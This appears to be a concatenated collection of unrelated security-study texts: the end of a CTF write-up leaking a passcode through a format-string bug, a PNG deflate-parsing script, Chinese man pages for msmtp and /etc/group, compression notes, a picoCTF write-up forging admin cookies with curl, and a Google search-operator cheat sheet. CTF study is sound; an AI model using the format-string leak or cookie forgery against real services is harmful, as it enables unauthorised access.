try:
leaked_str = int(leaked_hex, 16)
log.info(f"Index: {i:02}, Value: 0x{leaked_str:016x}, as ASCII: {p64(leaked_str)}")
except ValueError:
pass
```
We'll run it locally first:
```console
root@kali:/media/sf_CTFs/technion/Secure_Service# python3 solve.py LOCAL
[*] '/media/sf_CTFs/technion/Secure_Service/secure_service'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] Index: 01, Value: 0x00007ffc86fbcb60, as ASCII: b'`\xcb\xfb\x86\xfc\x7f\x00\x00'
[*] Index: 02, Value: 0x0000000000000000, as ASCII: b'\x00\x00\x00\x00\x00\x00\x00\x00'
[*] Index: 03, Value: 0x0000000000000000, as ASCII: b'\x00\x00\x00\x00\x00\x00\x00\x00'
[*] Index: 04, Value: 0x0000000000000000, as ASCII: b'\x00\x00\x00\x00\x00\x00\x00\x00'
[*] Index: 05, Value: 0x0000000000000006, as ASCII: b'\x06\x00\x00\x00\x00\x00\x00\x00'
[*] Index: 06, Value: 0x0000000000000000, as ASCII: b'\x00\x00\x00\x00\x00\x00\x00\x00'
[*] Index: 07, Value: 0x0000000000000000, as ASCII: b'\x00\x00\x00\x00\x00\x00\x00\x00'
[*] Index: 08, Value: 0x2323232323232323, as ASCII: b'########'
[*] Index: 09, Value: 0x0000232323232323, as ASCII: b'######\x00\x00'
[*] Index: 10, Value: 0x0000007024303125, as ASCII: b'%10$p\x00\x00\x00'
[*] Index: 11, Value: 0x0000000000000000, as ASCII: b'\x00\x00\x00\x00\x00\x00\x00\x00'
[*] Index: 12, Value: 0x0000000000000000, as ASCII: b'\x00\x00\x00\x00\x00\x00\x00\x00'
[*] Index: 13, Value: 0x0000000000000000, as ASCII: b'\x00\x00\x00\x00\x00\x00\x00\x00'
[*] Index: 14, Value: 0x0000000000000000, as ASCII: b'\x00\x00\x00\x00\x00\x00\x00\x00'
[*] Index: 15, Value: 0x0000000000000000, as ASCII: b'\x00\x00\x00\x00\x00\x00\x00\x00'
[*] Index: 16, Value: 0x0000000000000000, as ASCII: b'\x00\x00\x00\x00\x00\x00\x00\x00'
[*] Index: 17, Value: 0x0000000000000000, as ASCII: b'\x00\x00\x00\x00\x00\x00\x00\x00'
[*] Index: 18, Value: 0x0000000000000000, as ASCII: b'\x00\x00\x00\x00\x00\x00\x00\x00'
[*] Index: 19, Value: 0x0000000000000000, as ASCII: b'\x00\x00\x00\x00\x00\x00\x00\x00'
```
We can see the expected password at offsets 8-9.
Now, let's run on the server:
```console
root@kali:/media/sf_CTFs/technion/Secure_Service# python3 solve.py
[*] '/media/sf_CTFs/technion/Secure_Service/secure_service'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] Index: 01, Value: 0x00007ffe89ecbca0, as ASCII: b'\xa0\xbc\xec\x89\xfe\x7f\x00\x00'
[*] Index: 02, Value: 0x00007fa35e8ac8c0, as ASCII: b'\xc0\xc8\x8a^\xa3\x7f\x00\x00'
[*] Index: 03, Value: 0x0000000000000000, as ASCII: b'\x00\x00\x00\x00\x00\x00\x00\x00'
[*] Index: 04, Value: 0x0000000000000006, as ASCII: b'\x06\x00\x00\x00\x00\x00\x00\x00'
[*] Index: 05, Value: 0x0000000000000000, as ASCII: b'\x00\x00\x00\x00\x00\x00\x00\x00'
[*] Index: 06, Value: 0x0000000000000000, as ASCII: b'\x00\x00\x00\x00\x00\x00\x00\x00'
[*] Index: 07, Value: 0x0000000000000000, as ASCII: b'\x00\x00\x00\x00\x00\x00\x00\x00'
[*] Index: 08, Value: 0x68745f73695f4652, as ASCII: b'RF_is_th'
[*] Index: 09, Value: 0x0000747365625f65, as ASCII: b'e_best\x00\x00'
[*] Index: 10, Value: 0x0000007024303125, as ASCII: b'%10$p\x00\x00\x00'
[*] Index: 11, Value: 0x0000000000000000, as ASCII: b'\x00\x00\x00\x00\x00\x00\x00\x00'
[*] Index: 12, Value: 0x0000000000000000, as ASCII: b'\x00\x00\x00\x00\x00\x00\x00\x00'
[*] Index: 13, Value: 0x0000000000000000, as ASCII: b'\x00\x00\x00\x00\x00\x00\x00\x00'
[*] Index: 14, Value: 0x0000000000000000, as ASCII: b'\x00\x00\x00\x00\x00\x00\x00\x00'
[*] Index: 15, Value: 0x0000000000000000, as ASCII: b'\x00\x00\x00\x00\x00\x00\x00\x00'
[*] Index: 16, Value: 0x0000000000000000, as ASCII: b'\x00\x00\x00\x00\x00\x00\x00\x00'
[*] Index: 17, Value: 0x0000000000000000, as ASCII: b'\x00\x00\x00\x00\x00\x00\x00\x00'
[*] Index: 18, Value: 0x0000000000000000, as ASCII: b'\x00\x00\x00\x00\x00\x00\x00\x00'
[*] Index: 19, Value: 0x0000000000000000, as ASCII: b'\x00\x00\x00\x00\x00\x00\x00\x00'
```
As before, the password is leaked at indexes 8-9: `RF_is_the_best`.
```console
root@kali:/media/sf_CTFs/technion/Secure_Service# nc ctf.cs.technion.ac.il 4007
Welcome to the EEvil departement secure service
Please enter you name: Name
Hello Name, Please enter the passcode: RF_is_the_best
Great, here is the flag: cstechnion{us3_f0rm4t_str1ng_0n_1nput}
Long Live the EEmpire!
```
The flag: `cstechnion{us3_f0rm4t_str1ng_0n_1nput}`
|
sec-knowleage
|
import struct
import pyflate
from io import BytesIO
import os
import pickle
if not os.path.isfile("./disasm.pickle"):
f = open("./q.png", "rb")
header = f.read(8)
while True:
length = f.read(4)
length = struct.unpack(">I", length)[0]
typ = f.read(4)
data = f.read(length)
crc = f.read(4)
if b"IDAT" == typ:
break
#78 9C - Default Compression / last 4 bytes == CRC
f = BytesIO(data[2:-4])
(out, cmds) = pyflate.gzip_main(f)
with open("./disasm.pickle", "wb") as f:
pickle.dump(cmds, f)
#print("Commands written")
else:
with open("./disasm.pickle", "rb") as f:
cmds = pickle.load(f)
#print("Commands loaded from file")
bytes_written = 0
row_size = 0xffffffff + 1 + 1
for entry in cmds:
(count, cmd) = entry
opcode = cmd[0]
print("{: 8} {}".format( count, ' '.join(map(str, cmd))))
# ADDB byte
if opcode == "ADDB":
bytes_written += count * 1
# ADDL len
elif opcode == "ADDL":
bytes_written += count * cmd[1]
# ADDL distance length
elif opcode == "ADDO":
bytes_written += count * cmd[2]
print("Total bytes: {0} / {0:x}".format(bytes_written))
print("Total size: {:.1f}MiB".format(bytes_written/1024/1024))
print("Total size: {:.1f}Mb".format(bytes_written * 8 / 1024 / 1024))
|
sec-knowleage
|
.\" -*-nroff-*-
.\"
.\" msmtp version 1.4.9
.\"
.TH MSMTP 1 2006-11
.SH NAME
msmtp \- An SMTP client
.SH 概要 (SYNOPSIS)
.IP "发邮件模式 (默认):"
.B msmtp
[option...] [--] recipient...
.br
.B msmtp
[option...] -t [--] [recipient...]
.IP "服务器消息模式:"
.B msmtp
[option...] --serverinfo
.IP "远程消息队列模式:"
.B msmtp
[option...] --rmqs=\fIhost\fP|\fI@domain\fP|\fI#queue\fP
.SH 描述 (DESCRIPTION)
在默认的发邮件模式下,msmtp 从标准输入读取邮件,然后把它送给SMTP 服务器处理
.br
当处于服务器消息模式下,msmtp 会显示SMTP 服务器的有关信息
.br
而当它处于远程消息队列模式时,msmtp 将为主机或者域发出RMQS 请求,或者向SMTP
服务器发出队列请求
.SH 退出状态 (EXIT STATUS)
这里使用标准的sendmail 退出状态代码,就像在 sysexits.h 中定义的那样
.BR
想快速上手,可跳到EXAMPLES 部分
.SH 选项 (OPTIONS)
这里的选项将覆盖配置文件中的相同选项
.br
他们在某些地方与sendmail 兼容
.IP "\fB一般选项 (General options)\fP"
.RS
.IP "--version"
显示版本信息。这些信息包括TLS/SSL 库信息(如果有),用于验证的库以及这些库
所支持的验证方式,还有默认的全局配置文件和用户配置文件信息
.IP "--help"
显示帮助
.IP "-P, --pretend"
显示使用的配置信息,但不真正执行什么操作。密码将会以 *** 的形式显示
.IP "-d, --debug"
显示很多调试信息,包括与SMTP 服务器的所有会话。小心使用这个选项(潜在风险):
所有输出没经过什么处理,密码可能以一种极易解码的方式被显示出来
.RE
.IP "\fB改变操作模式选项 (Changing the mode of operation)\fP"
.RS
.IP "-S, --serverinfo"
显示SMTP 服务器的信息并退出。信息中包含了所有支持的特性,如邮件大小限制、
验证方式、TLS、DSN 等等。如果服务器支持TLS 的话,还有TLS 证书信息
.IP "--rmqs=(\fIhost\fP|\fI@domain\fP|\fI#queue\fP)"
为指定的主机或者域发送一个开启远程消息队列的请求,或者向SMTP 服务器发送队列
请求,并退出
.RE
.IP "\fB配置选项 (Configuration options)\fP"
.RS
.IP "-C, --file=\fIfilename\fP"
用指定的文件代替~/.msmtprc 作为用户配置文件
.IP "-a, --account=\fIaccount_name\fP"
用指定的帐号代替"default" 字段中的帐号。这个帐号的设置能以命令行选项的方式进行
更改。但这个选项不能与 \fB--host\fP 合用
.IP "--host=\fIhostname\fP"
用命令行指定一个SMTP 服务器,不用配置文件中的任何数据。这个选项不能与
\fB--account\fP 选项合用
.IP "--port=\fInumber\fP"
设置要连接的端口。参看下面 \fBport\fP 命令
.IP "--timeout=(\fIoff\fP|\fIseconds\fP)"
设定网络超时。参看下面 \fBtimeout\fP 命令。为了兼容老版本,--connect-timeout
作为这个选项的别名
.IP "--protocol=(\fIsmtp\fP|\fIlmtp\fP)
设定所用的协议。参看下面 \fBprotocol\fP 命令
.IP "--auth[=(\fIon\fP|\fIoff\fP|\fImethod\fP)]"
开启或关闭验证,也可随意选择一个验证方式。参看下面 \fBauth\fP 命令
.IP "--user=\fI[username]\fP"
设置或清空用于验证的用户名。参看下面 \fBuser\fP 命令
.IP "--tls[=(\fIon\fP|\fIoff\fP)]"
开启或关闭TLS 加密。参看 \fBtls\fP 命令
.IP "--tls-starttls[=(\fIon\fP|\fIoff\fP)]"
开启或关闭TLS 加密的STARTTLS 。参看下面 \fBtls_starttls\fP 命令
.IP "--tls-trust-file=[\fIfile\fP]"
设置或清空TLS 加密的trust file。参看下面 \fBtls_trust_file\fP 命令
.IP "--tls-key-file=[\fIfile\fP]"
设置或清空TLS 加密的key file。参看下面 \fBtls_key_file\fP 命令
.IP "--tls-cert-file=[\fIfile\fP]"
设置或清空TLS 加密的cert file。参看下面 \fBtls_cert_file\fP 命令
.IP "--tls-certcheck[=(\fIon\fP|\fIoff\fP)]"
开启或关闭TLS 加密的证书检验。参看下面 \fBtls_certcheck\fP 命令
.IP "--tls-force-sslv3[=(\fIon\fP|\fIoff\fP)]"
强制使用SSLv3。参看下面 \fBtls_force_sslv3\fP 命令
.IP "--domain=[\fIstring\fP]"
设置SMTP EHLO (or LMTP LHLO)命令的参数。参看 \fBdomain\fP 命令
.RE
.IP "\fB发件模式的选项 (Options specific to sendmail mode)\fP"
.RS
.IP "--auto-from[=(\fIon\fP|\fIoff\fP)]"
开启或关闭automatic envelope-from addresses。默认关闭。参看下面
\fBauto_from\fP 命令
.IP "-f, --from=\fIaddress\fI"
设定envelope-from address。仅当 \fIauto_from\fP 关闭时才有用
.br
如果未用 \fB--account\fP 或 \fB--host\fP 指定帐号,这个选项会选择第一个拥有给
定envelope-from address 的帐号。看看 \fBfrom\fP 命令。如果没找到符合条件的帐号
,就用"default"
.IP "--maildomain=[\fIdomain\fP]"
为生成的envelope-from addresses 指定一个域。仅当 \fIauto_from\fP 开启时才有用。
参看下面 \fBmaildomain\fP 命令
.IP "-N, --dsn-notify=(\fIoff\fP|\fIcond\fP)"
设置或清空DSN notification conditions。参看下面 \fBdsn_notify\fP 命令
.IP "-R, --dsn-return=(\fIoff\fP|\fIret\fP)"
设置或清空 DSN notification amount。参看下面 \fBdsn_return\fP 命令。注意为
兼容sendmail ,\fIhdrs\fP 被定义成 \fIheaders\fP 的别名
.IP "--keepbcc[=(\fIon\fP|\fIoff\fP)]"
是否保留Bcc header。参看下面 \fBkeepbcc\fP 命令
.IP "-X, --logfile=[\fIfile\fP]"
设置或清除log file。参看下面 \fBlogfile\fP 命令
.IP "--syslog[=(\fIon\fP|\fIoff\fP|\fIfacility\fP)]"
是否启用syslog。参看下面 \fBsyslog\fP 命令
.IP "-t, --read-recipients"
从邮件的To, Cc, Bcc headers 处提取收件人地址,而不从命令行读入
.IP "--"
从这以后的参数均被认为是收件人地址,即使以 '-' 开头。这标志着选项列表结束了
.RE
.PP
以下选项可用,但兼容的sendmail 忽略。
.br
-B\fItype\fP, -bm, -F\fIname\fP, -G, -h\fIN\fP, -i, -L \fItag\fP, -m, -n, -O
\fIoption=value\fP, -o\fIx\fP \fIvalue\fP, -v
.SH 用法 (USAGE)
通常,全局配置文件和(或)用户配置文件包含了SMTP 服务器以及如何与之通信的所有信
息。但是,几乎所有的选项也可以在命令行上配置
.PP
SMTP 服务器的信息以 \fIaccounts\fP 方式组织在一起。每个帐号描述了一台SMTP 服
务器的主机名、验证设置、TLS 设置等等。每个配置文件能定义多个帐号
.PP
在发件模式,必须要有一个envelope-from,这被作为原始发件人发送给SMTP 服务器。
当 \fIauto_from\fP 开启时,Envelope-from 的地址也能自动生成,或者也能明确地
用 \fBform\fP 或 \fB--from\fP 设定。\fIauto_from\fP 能生成形如 user@domain
这样的地址。user 部分将以 \fB$USER\fP 代替,如果不行,就用 \fB$LOGNAME\fP
代替,再不行的话,就用当前登录的用户名。domain 部分能用 \fBmaildomain\fP 设
定。如果maildomain 未设好,envelope-from 中将只有用户名,而不含域名。
.PP
用户能选择用哪个帐号,以下方法三选一:
.IP "--account=\fIid\fP"
用给定帐号。命令行选项会覆盖配置文件中的设定
.IP "--host=\fIhostname\fP
只用来自命令行的选项,不用配置文件中的
.IP "--from=\fIaddress\fP"
从全局或用户配置文件中选择与 \fBfrom\fP 命令指定的地址匹配的envelop-from 地址。
只有 \fB--account\fP 和 \fB--host\fP 都没有设定时才用得到这个选项
.PP
如果以上选项一个都没用到,又或者用了 \fB--from\fP 但没有一个帐号与 \fBfrom\fP
命令的结果匹配,那就使用"default" 帐号
.SH 配置文件 (CONFIGURATION FILES)
如果全局配置文件存在并可读,会调用文件SYSCONFDIR/msmtprc,SYSCONFDIR 依赖于你的
系统。用 \fB--version\fP 可以找到用了哪个目录
.br
如果用户配置文件存在并可读,就调用它(默认是~/.msmtprc )。用户配置中的帐号会覆盖
全局配置中的相同帐号。除了拥有者的读写权外,决不给配置文件其它多余的权限。无论
哪个配置文件中的设置都可以用命令行选项更改
.PP
配置文件是个普通文本而已,忽略空行和注释行(以'#'开头)
.br
其它行必须包含一条命令以及可能的参数
.br
如果参数的第一个或最后一个有空白,要用双引号(")括起来
.br
如果文件的第一个字符是"~",将会用$HOME 代替。如果命令能接受一个 \fIon\fP 参数,
它也会接受空参数并默认它是 \fIon\fP 参数。
.br
命令的集合形成groups 。每组以 \fBaccount\fP 命令开头,接着是SMTP 服务器的设置
.PP
想快速上手,可跳到EXAMPLES 部分
.PP
命令说明如下:
.IP "defaults"
设置defaults。接下去的设置命令将当前配置文件中的所有帐号指定默认值
.IP "account \fIname\fP [:\fIaccount\fP[,...]]"
开始定义新帐号,填充默认值
.br
如果有逗号和预先定义好的帐号名跟在account 后面,所有列表中的帐号会拥有同样的
设置,并填充默认值
.IP "host \fIhostname\fP"
邮件发送目的地SMTP 服务器,参数可以是主机名或者网络地址。每个帐号都必须包含
这个命令
.IP "port \fInumber\fP"
SMTP 服务器监听端口。默认端口会从你操作系统的service database 中获取。对于
SMTP 来说,服务名是"smtp" (默认端口25),除非使用不带STARTTLS 的TLS ,在此种
情况下服务名是"ssmtp"(445)。对于LMTP,服务名是"lmtp"
.IP "timeout (\fIoff\fP|\fIseconds\fP)"
设置或清除网络超时(以秒计)。\fIoff\fP 参数表示不设超时,这意味着使用操作系统
默认的超时设定
.br
为与老版本兼容, \fIconnect_timeout\fP 可作为这条命令的别名
.IP "protocol (\fIsmtp\fP|\fIlmtp\fP)"
设置所用的协议,目前只支持SMTP 和LMTP,默认SMTP。想知道默认端口,看上面的
\fBport\fP 命令
.IP "auto_from [(\fIon\fP|\fIoff\fP)]
是否允许automatic envelope-from。默认不允许。开启时,会生成类似user@domain 形
式的envelope-from。 user 部分将以 \fB$USER\fP 代替,如果不行,就用
\fB$LOGNAME\fP 代替,再不行的话,就用当前登录的用户名。domain 部分能用
\fBmaildomain\fP 设定。如果maildomain 未设好,envelope-from 中将只有用户名,而
不含域名。关闭时,,envelope-from 必须明确指定
.IP "from \fIenvelope_from\fP"
设置envelope-from,仅当 \fIauto_from\fP 关闭时才有用
.IP "maildomain [\fIdomain\fP]"
设置envelope 域名部分。仅当 \fIauto_from\fP 开启时才有用,域名可以为空
.IP "auth [(\fIon\fP|\fIoff\fP|\fImethod\fP)]"
这条命令控制是否允许SMTP 验证。你没有必要自己来设定验证方式,只要用了 \fIon\fP
参数,msmtp 会为你选择一个最佳方案(看下面)。
.br
你可能需要用 \fBuser\fP 命令来设置一个用户名,用 \fBpassword\fP 命令设置一个
密码。如果不指定密码,而msmtp 运行时发现在验证时又需要密码,msmtp 会试着从
~/.netrc 中找一个,如果不行的话,msmtp 会提示你输入一个
.br
支持的验证方式有 \fIplain\fP, \fIcram-md5\fP, \fIdigest-md5\fP, \fIgssapi\fP,
\fIexternal\fP, \fIlogin\fP, and \fIntlm\fP 。注意由于可能缺少下面的验证库,你
会有一个或多个验证方式不能用。用 \fB--version\fP 选项看看支持哪些方法。
.br
\fIplain\fP 和 \fIlogin\fP 把你的验证信息在网上以明文传输,因此应该仅把它们和
\fBtls\fP 命令一起用。
.br
如果不自己选择方式的话,msmtp 会选择SMTP 服务器支持的最安全的方式,安全指你的
信息在网上不会以明文发送。在TLS 加密连接下任何一种验证方式都是安全的。如果不
用TLS ,只有gssapi,digest-md5,cram-md5 and ntlm 是安全的。
.br
\fIexternal\fP 方法比较特殊:真正的验证操作位于SMTP 协议之外,发送TLS 客户端
证书(看 \fBtls_cert_file\fP 命令)就是个典型例子。\fIexternal\fP 只确认这次验
证对于给定的用户是否成功,如果不给用户名的话,就只确认验证是否成功。[注:总之
它就把具体验证和加密的事情全推给了外面程序,与msmtp 无关了]。msmtp 不会选这种
验证方式,你必须亲自指定。
.IP "user [\fIusername\fP]"
设置用于SMTP 验证的用户名,参数为空时清除用户名。证验操作必须用 \fBauth\fP 命
令激活
.IP "password [\fIsecret\fP]"
设置用于SMTP 验证的密码,参数为空时清除密码。证验操作必须用 \fBauto\fP 命令
激活。如果不指定密码,而验证操作又需要密码,msmtp 会试着从 ~/.netrc 中找一个,
如果不行的话,msmtp 会提示你输入一个
.IP "ntlmdomain [\fIdomain\fP]"
设置用于 \fIntlm\fP 验证方式的域名,默认不用域名(等同于空参数)。但有些服务器好
像要的,即便给出的是任意字符串
.IP "tls [(\fIon\fP|\fIoff\fP)]"
是否允许TLS/SSL 加密连接。不是每个服务器都支持TLS ,但有了TLS,可以防止有人偷听
与SMTP 的对话。除非用 \fBtls_certcheck\fP 命令关闭服务器证书验证,否则每次都要
完备性检查。为全面发挥TLS/SSL 效力,推荐用 \fBtls_trust_file\fP 命令(看下面)
.IP "tls_starttls [(\fIon\fP|\fIoff\fP)]"
缺省状态下,TLS 加密以STARTTLS SMTP 命令激活。关闭后,TLS 加密会立即启动(这是
有名的SMTP tunneled through TLS/SSL)。默认端口是465
.br
为兼容老版本, \fBtls_nostarttls\fP 作为 \fBtls_starttls off\fP 的别名
.IP "tls_trust_file [\fIfile\fP]"
这条命令激活严格的服务器证书验证。这个文件必须包含一个或多个以PEM 格式存在的受
信任的证书注册机构(CAs)。空参数会关闭这个特性。msmtp 通过受信文件验证服务器的
可靠性
.IP "tls_key_file [\fIfile\fP]"
与 \fBtls_cert_file\fP 命令一起,使msmtp 在需要时发一份客户端证书给SMTP 服务
器。这个文件必须包含PEM 格式证书的私钥。空参数会关闭这个特性
.IP "tls_cert_file [\fIfile\fP]"
与 \fBtls_key_file\fP 命令一起,使msmtp 在需要时发一份客户端证书给SMTP 服务器。
这个文件必须包含PEM 格式的证书。空参数会关闭这个特性
.IP "tls_certcheck [(\fIon\fP|\fIoff\fP)]"
当TLS 启用时,默认对服务器证书进行完备性检查。如果没有检查未通过,会取消TLS
连接。
.br
为兼容老版本, \fBtls_nocertcheck\fP 作为 \fBtls_certcheck off\fP 的别名
.IP "tls_force_sslv3 [(\fIon\fP|\fIoff\fP)]"
强制使用TLS/SSL 的SSLv3 版本。可能在一些用SSL 的老旧服务器上有用。不过万不得
已,别用这个
.IP "dsn_notify (\fIoff\fP|\fIcondition\fP)"
设定在哪在情况下,邮件系统应该发送DSN (Delivery Status Notification)信息。
\fIoff\fP 参数明确关闭DSN 请求,这意味着让邮件决定什么时候发DSN 信息,默认如
此。 \fIcondition\fP 可以是 \fInever\fP ,从不发送请求。或者是以逗号(没有空
格!)分隔的一个或多个下列参数: \fIfailure\fP 失败时发送, \fIdelay\fP 延迟时
发送, \fIsuccess\fP 成功时发送。SMTP 服务器必须支持DSN 才行。
.IP "dsn_return (\fIoff\fP|\fIamount\fP)"
在一封邮件中允许返回多少DSN 信息。 \fIoff\fP 明确关闭DSN 请求,这意味着让邮件
系统决定,默认如此。 \fIamount\fP 可以是 \fIheaders\fP 只返回信息头,\fIfull\fP 返回邮件全部内容。SMTP 服务器必须支持DSN 才行
.IP "domain \fIargument\fP"
用来设定SMTP EHLO(or LMTP LHLO)命令的参数。默认是 \fIlocalhost\fP (笨方法,但
有效)。其它可能的选择有:邮件地址的域名部分(provider.example for joe@provider.
example),或者如果可能的话给出你主机的完整域名
.IP "keepbcc [(\fIon\fP|\fIoff\fP)]"
当发送邮件时是否保留Bcc header 信息,默认不保留。
.IP "logfile [\fIfile\fP]"
不给参数会关闭记录,默认如此。
.br
当选择一个logfile 时,msmtp 会为每一封指定logfile 帐号的邮件添加一行记录
.br
记录中会包含如下信息:日期、时间、SMTP 服务器名字、是否用TLS、是否验证、用于
验证的用户名(仅当用了验证后)、信件来自哪里、收件人地址、发出去的邮件大小(仅
当发送成功时)、SMTP 状态代码、SMTP 错误信息(仅当发送失败且错误信息可得时)、
错误信息(仅当发送失败且错误信息可得时)、退出代码(来自 sysexits.h;EX_OK 代表
发送成功)
.br
如果文件是一短横(-),msmtp 就把记录信息输出至标准输出
.IP "syslog [(\fIon\fP|\fIoff\fP|\fIfacility\fP)]"
是否允许syslog 。facility 可以是LOG_USER、LOG_MAIL、LOG_LOCAL0...LOG_LOCAL7 诸多策略中的一个,默认是LOG_USER。
.br
每次msmtp 通过含有这条命令的帐号发邮件时,它均会在syslog 服务中以选定的策略追
加一条记录
.br
记录中会包含如下信息:日期、时间、SMTP 服务器名字、是否用TLS、是否验证、用于
验证的用户名(仅当用了验证后)、信件来自哪里、收件人地址、发出去的邮件大小(仅
当发送成功时)、SMTP 状态代码、SMTP 错误信息(仅当发送失败且错误信息可得时)、
错误信息(仅当发送失败且错误信息可得时)、退出代码(来自 sysexits.h;EX_OK 代表
发送成功)
.SH 范例 (EXAMPLES)
.B 配置文件 (Configuration file)
.PP
# Set default values for all following accounts.
.br
defaults
.br
tls on
.br
tls_trust_file /etc/ssl/certs/ca-certificates.crt
.br
logfile ~/.msmtp.log
.br
.br
# A freemail service
.br
account freemail
.br
host smtp.freemail.example
.br
from joe_smith@freemail.example
.br
auth on
.br
user joe.smith
.br
password secret
.br
.br
# A second mail address at the same freemail service
.br
account freemail2 : freemail
.br
from joey@freemail.example
.br
.br
# The SMTP server of the provider.
.br
account provider
.br
host mail.provider.example
.br
from smithjoe@provider.example
.br
auth on
.br
user 123456789
.br
password my_password
.br
.br
# Set a default account
.br
account default : provider
.br
.PP
.B 在Mutt 中使用msmtp (Using msmtp with Mutt)
.PP
为msmtp 建立一个配置文件,然后把下面几行加到Mutt 配置文件中去
.br
.B set sendmail="/path/to/msmtp"
.br
.B set use_from=yes
.br
.B set realname="Your Name"
.br
.B set from=you@example.com
.br
.B set envelope_from=yes
.br
envelope_from=yes 让Mutt 用msmtp的
.BR -f
参数。这样msmtp 会选择符合you@example.com 的第一个帐号
.br
你也可以选用
.BR -a
参数
.br
.B set sendmail="/path/to/msmtp -a my-account"
.br
或者从命令行中设定所有内容
.br
.B set sendmail="/path/to/msmtp --host=mailhub -f me@example.com --tls"
.PP
如果你有多个邮件帐号,并且想让Mutt 用
.BR -f
参数让你可以在帐号之间轻松切换,把下面几行加到Mutt 配置文件中去
.br
.B macro generic\ "<esc>1"\ ":set from=you@example.com"
.br
.B macro generic\ "<esc>2"\ ":set from=you@your-employer.example"
.br
.B macro generic\ "<esc>3"\ ":set from=you@some-other-provider.example"
.PP
.B 在mail 中用上msmtp (Using msmtp with mail)
.PP
定义一个默认帐号,然后把下面一行放在 ~/.mailrc 中
.br
.B set sendmail="/path/to/msmtp"
.SH 文件/系统环境 (FILES / ENVIRONMENT)
.IP "SYSCONFDIR/msmtprc"
全局配置文件。用
.B --version
找出系统中的SYSCONFDIR 在哪里
.IP "~/.msmtprc"
用户配置文件
.IP "~/.netrc"
文件.netrc 包含了登录信息。如果在配置文件中没有找到密码信息的话,msmtp 会在提
示用户输入之前先找这个文件。 .netrc 的用法在
.BR netrc (5)
或
.BR ftp (1)
中能找到
.br
.IP "$USER, $LOGNAME"
在构造信件来源地址时,这些变量会覆盖用户的登录名。如果未指定$USER,就用$LOGNAME
.IP "$TMPDIR"
建立临时文件的地方。如果未设置就用系统默认定义
.br
仅当用到
.BR -t/--read-recipients
选项时,才会创建临时文件。这个文件用于缓存邮件头,不包括邮件本身,所以文件不
会太大
.SH 作者 (AUTHORS)
msmtp was written by Martin Lambers <marlam@marlam.de>.
.br
Other authors are listed in the AUTHORS file in the source distribution.
.SH 参看 (SEE ALSO)
.BR mutt (1),
.BR mail (1),
.BR sendmail (8),
.BR netrc (5)
or
.BR ftp (1)
.br
.SH [中文版维护人]
"Nickel Cobalt" <angelerosster@gmail.com>
.SH [中文版最新更新]
2007/05/01
.SH [中文版校对人]
"Nickel Cobalt" <angelerosster@gmail.com>
.SH 《中文MAN-PAGE计划》
http://cmpp.linuxforum.net
|
sec-knowleage
|
# 算法
> 注 : 笔记中拓扑图 drawio 源文件在其图片目录下
---
## REL算法
例如对 AAAAAABBCDDEEEEEF 这个值进行压缩,就是对相同的字符去重化,以字符*重复次数的方式进行压缩。
这种把文件用数据*重复次数的形式来表示的压缩方法称为 RLE(Run Length Encoding,行程长度编码)算法。
RLE算法只针对连续的字节序列压缩效果比较好,假如是不连续的压缩的容量会比之前还要大。
---
## 哈夫曼算法
哈夫曼算法指,为各压缩对象文件分别构造最佳的编码体系,并以该编码体系为基础进行压缩,因此,用什么样的编码对数据进行分割,就要由各个文件而定。用哈夫曼算法压缩过的文件种,存储着哈夫曼编码信息和压缩过的数据。
借助哈夫曼树的构造编码体系,即使不使用字符区分符号的情况下,也可以构架明确区分的编码体系。
例如对 AAAAAABBCDDEEEEEF 这个值进行压缩
使用哈夫曼数后,出现频率越高的数据所占用的位数越少,枝条连接数据时,我们是从出现频率较低的数据开始的,这意味着出现频率低的数据到达根部的纸条也越多,而纸条多则代表编码的位数增加。
|
sec-knowleage
|
.\" 版权所有(c) 1993 Michael Haardt (michael@moria.de), Fri Apr 2 11:32:09 MET DST 1993
.\"
.\" 这是免费的文档;你可以遵照自由软件基金会出版的GNU通用出版许可版本2或者更高版本的条例来重新发布和/或修改它.
.\"
.\" GNU通用出版许可中涉及到的"目标代码(object code)"和"可执行程序(executables)"可解释为任意文档格式化的输出或者排版系统,包括中间的和已输出的结果.
.\"
.\" 该文档的发布寄望于能够实用,但并不做任何担保;甚至也不提供隐含的商品性的保证或者针对特殊目的的适用性.参见GNU通用版权许可以获知详情.
.\"
.\" 你应该接收到与本文档一同发布的GNU通用版权许可的副本;如果没有,请写信到自由软件基金会(Free Software Foundation), Inc., 59 Temple Place, Suite 330, Boston, MA 02111, USA.
.\"
.\" 于1993年1月24日星期六17:06:03由Rik Faith (faith@cs.unc.edu)修改
.TH GROUP 5 "1992年12月29日" "Linux" "Linux Programmer's Manual(Linux程序员手册)"
.SH NAME(名称)
group \- 用户组文件
.SH DESCRIPTION(描述)
\fB/etc/group\fp 是一个ASCII码的文件,它定义了用户所属的组.文件中每行包括一条记录,其格式如下:
.sp
.RS
group_name:passwd:GID:user_list
.RE
.sp
字段描述如下:
.IP group_name
组名
.IP password
(加密的)组密码.如果该字段为空,则不需要密码.
.IP GID
组的数字标识.
.IP user_list
组内所有成员的用户名,以逗号分隔.
.SH FILES(相关文件)
/etc/group
.SH "SEE ALSO"(另见)
.BR login "(1), " newgrp "(1), " passwd (5)
|
sec-knowleage
|
# Open-to-admins
Web Exploitation, 200 points
## Description:
> This secure website allows users to access the flag only if they are admin and if the time is exactly 1400.
## Solution:
We can provide the requested values using cURL:
```console
root@kali:/media/sf_CTFs/pico/Open-to-admins# curl "https://2019shell1.picoctf.com/problem/12276/flag" -H "Cookie: time=1400; admin=True;" -s | grep picoCTF
<p style="text-align:center; font-size:30px;"><b>Flag</b>: <code>picoCTF{0p3n_t0_adm1n5_bb42f2e0}</code></p>
```
|
sec-knowleage
|
---
title: Google Search
date: 2023-01-10 09:51:44
background: bg-[#d3594a]
tags:
categories:
- Other
intro: |
This quick reference cheat sheet lists of Google advanced search operators.
---
Getting Started {.cols-2}
----
### Google Advanced Search Operators
| Operator | Description | Category |
|-------------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|
| `""` | Allows searching for a specific phrase - exact match search. Individual word prevents synonyms | Basic,Mail |
| `OR`/`AND` | Boolean search function for OR searches as Google defaults to AND between words - must be all caps | Basic,Mail |
| `\` | Implements OR | Basic |
| `()` | Allows grouping of operators and helps dictate order | Basic,Mail |
| `-` | Excludes a word from results | Basic,Mail |
| `*` | Acts as a wildcard and will match any word or phrase | Basic |
